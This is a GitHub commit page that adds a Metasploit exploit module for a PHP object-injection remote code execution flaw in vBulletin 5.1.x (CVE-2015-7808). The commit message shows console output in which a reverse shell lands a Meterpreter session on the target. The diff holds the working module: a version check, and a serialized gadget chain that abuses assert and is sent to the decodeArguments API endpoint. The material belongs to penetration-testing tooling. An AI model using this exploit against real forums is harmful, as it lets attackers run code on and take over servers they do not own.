Skip to content

Commit bb0e64e

Browse files
committed
Implement a module for the recent vBulletin RCE
This module implements the recent unserialize-powered RCE against vBulletin 5.1.X Step to reproduce: 1. Install vBulletin 5.1.X 2. Launch the exploit against it ``` msf exploit(vbulletin_unserialize) > check [*] 192.168.1.25:80 - The target appears to be vulnerable. msf exploit(vbulletin_unserialize) > ``` ``` msf exploit(vbulletin) > run [*] Started reverse handler on 192.168.1.11:4444 [*] Sending stage (33068 bytes) to 192.168.1.25 [*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.25:49642) at 2015-11-06 14:04:46 +0100 meterpreter > getuid Server username: www-data (33) ```
1 parent 46fac89 commit bb0e64e

File tree

1 file changed

+65
-0
lines changed

1 file changed

+65
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'vBulletin 5.1.2 Unserialize Code Execution',
16+
'Description' => %q{
17+
This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9
18+
},
19+
'Platform' => 'php',
20+
'License' => MSF_LICENSE,
21+
'Author' => [
22+
'Netanel Rubin', # reported by
23+
'cutz', # original exploit
24+
'Julien (jvoisin) Voisin', # metasploit module
25+
],
26+
'References' =>
27+
[
28+
['CVE', '2015-7808'],
29+
['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'],
30+
['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/']
31+
],
32+
'Arch' => ARCH_PHP,
33+
'Targets' => [['vBulletin 5.1.2', {}]],
34+
'DisclosureDate' => 'Nov 4 2015',
35+
'DefaultTarget' => 0))
36+
end
37+
38+
def check
39+
res = send_request_cgi({ 'uri' => '/' })
40+
if (res && res.body =~ /Version 5.1./ && res.body =~ /Copyright &copy; 2015 vBulletin Solutions, Inc./)
41+
return Exploit::CheckCode::Appears
42+
else
43+
return Exploit::CheckCode::Unknown
44+
end
45+
Exploit::CheckCode::Safe
46+
end
47+
48+
def exploit
49+
50+
chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:18:"vB_Database_MySQLi":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
51+
chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}"
52+
53+
chain = Rex::Text.uri_encode(chain)
54+
chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding
55+
56+
res = send_request_cgi({
57+
'method' => 'GET',
58+
'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'),
59+
'vars_get' => {
60+
'arguments' => chain
61+
},
62+
'encode_params' => false,
63+
})
64+
end
65+
end

0 commit comments

Comments
 (0)